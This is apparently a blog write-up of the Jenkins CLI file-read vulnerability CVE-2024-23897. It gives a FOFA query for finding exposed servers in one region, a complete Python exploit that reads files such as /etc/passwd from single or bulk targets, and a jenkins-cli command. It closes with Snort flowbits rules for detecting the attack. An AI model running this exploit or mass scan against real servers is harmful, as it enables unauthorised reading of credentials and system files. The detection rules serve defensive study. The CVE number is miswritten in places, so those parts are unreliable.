Jenkins Vulnerability CVE-2024-23897: Unauthorized File Access Exploit via CLI

Preliminary Analysis of CVE-2024-23897

   CVE-2024-23897 is a vulnerability involving unauthorized file access in Jenkins. It exploits a feature of the Jenkins Command Line Interface (CLI), which uses the args4j library to parse command line arguments. The args4j library has a unique characteristic: when a command line argument starts with the @ character, it is interpreted as a file path, and the contents of the file are read as arguments. This feature allows an attacker to read any file on the Jenkins server through the Jenkins CLI.

Jenkins vulnerability

  The main issue with this code is that when it processes command line arguments starting with the @ character, it attempts to treat them as file paths and read the contents of that file. Specifically, if the argument starts with @, it creates a file object, checks whether the file exists, and if it does, reads all its contents and adds them to the result list. This handling makes Jenkins vulnerable to unauthorized file read attacks, such as CVE-2024-23879. For example, an attacker might send an argument like @/etc/passwd, causing Jenkins to read and expose sensitive system files. Additionally, the ConnectNodeCommand provides error echo for node_s, which primarily echoes node information, but just like utilizing common error echoing, it inadvertently echoes the contents of the file we want to read along with the node information.

Vulnerability Reproduction

Fofa Query Statement

header=”X-Jenkins” || banner=”X-Jenkins” || header=”X-Hudson” || banner=”X-Hudson” || header=”X-Required-Permission: hudson.model.Hudson.Read” || banner=”X-Required-Permission: hudson.model.Hudson.Read” || body=”Jenkins-Agent-Protocols” && country=”CN” && region=”TW”       Collect Taiwan address data and save as a txt file for backup

Python Vulnerability Test Script

import argparse
import threading
import http.client
import uuid
import urllib.parse

# Color constants
RED = '\033[91m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
ENDC = '\033[0m'

def format_url(url):
    if not url.startswith('http://') and not url.startswith('https://'):
        url = 'http://' + url
    return url

def send_download_request(target_info, uuid_str):
    try:
        conn = http.client.HTTPConnection(target_info.netloc)
        conn.request("POST", "/cli?remoting=false", headers={
            "Session": uuid_str,
            "Side": "download"
        })
        response = conn.getresponse().read()
        print(f"{GREEN}RESPONSE from {target_info.netloc}:{ENDC} {response}")
    except Exception as e:
        print(f"{RED}Error in download request:{ENDC} {str(e)}")

def send_upload_request(target_info, uuid_str, data):
    try:
        conn = http.client.HTTPConnection(target_info.netloc)
        conn.request("POST", "/cli?remoting=false", headers={
            "Session": uuid_str,
            "Side": "upload",
            "Content-type": "application/octet-stream"
        }, body=data)
    except Exception as e:
        print(f"{RED}Error in upload request:{ENDC} {str(e)}")

def launch_exploit(target_url, file_path):
    formatted_url = format_url(target_url)
    target_info = urllib.parse.urlparse(formatted_url)
    uuid_str = str(uuid.uuid4())
    data = b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@' + file_path.encode() + b'\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'

    upload_thread = threading.Thread(target=send_upload_request, args=(target_info, uuid_str, data))
    download_thread = threading.Thread(target=send_download_request, args=(target_info, uuid_str))

    upload_thread.start()
    download_thread.start()

    upload_thread.join()
    download_thread.join()

def process_target_list(file_list, file_path):
    with open(file_list, 'r') as file:
        targets = [format_url(line.strip()) for line in file.readlines()]

    for target in targets:
        print(f"{YELLOW}Processing target:{ENDC} {target}")
        launch_exploit(target, file_path)

def main():
    parser = argparse.ArgumentParser(description='Exploit script for CVE-2024-23897.')
    parser.add_argument('-u', '--url', help='Single target URL.')
    parser.add_argument('-l', '--list', help='File with list of target hosts.')
    parser.add_argument('-f', '--file', required=True, help='File path to read from the server.')

    args = parser.parse_args()

    if args.url:
        launch_exploit(args.url, args.file)
    elif args.list:
        process_target_list(args.list, args.file)
    else:
        print(f"{RED}Error:{ENDC} Please provide a single target URL (-u) or a list of targets (-l).")

if __name__ == "__main__":
    main()

Execute the command python3 .\test.py -l .\test.txt -f /etc/passwd

It is found that an attacker without OVER/READ permission can only read part of the file content

Jenkins vulnerability

Of course, the official tool jenkins-cli.jar can also be used, but I didn’t find it

The command is java -jar jenkins-cli.jar -s http://jenkins:8080/ connect-node “@/etc/passwd”

Captured Packets

The first sent packet is

The second sent packet is

Creating Snort Rules in IDS

Formulation Strategy

You can see that exploiting this vulnerability requires sending two packets and can use the same URL for both as an interception feature /cli?remoting=false. Utilize the flowbits feature included in snort3 to intercept the features of both packets.

flowbits is an option in the Snort intrusion detection system used to track and control the state of network traffic. It allows rules to share state information between them to detect complex behavior patterns distributed across multiple packets. flowbits is primarily used to address threats requiring multi-step detection, such as segmented attacks or multi-stage malicious activities. The main flowbits operations include:

  • set: Sets a specific traffic flag.
  • unset: Clears a specific traffic flag.
  • isset: Checks if a specific traffic flag is set.
  • isnotset: Checks if a specific traffic flag is not set.
  • toggle: Toggles a specific traffic flag status.

CVE-2024-23879 Rule

alert tcp any any -> any 80 (msg:”Possible Jenkins Server Exploit Attempt”; flow:to_server,established; http_method; content:”POST”; http_uri; content:”/cli?remoting=false”; http_client_body; content:”@/etc/passwd”; classtype:web-application-attack; flowbits:set,jenkins; flowbits:noalert;sid:1000001; rev:1;)

alert tcp any any -> any 80 (msg:”Detect POST request to Jenkins CLI with download side”; flow:to_server,established; http_method;  content:”POST”;http_uri; content:”/cli?remoting=false”;  http_header; content:”Side: download”; flowbits:isset,jenkins; classtype:web-application-activity; sid:1000002; rev:1;)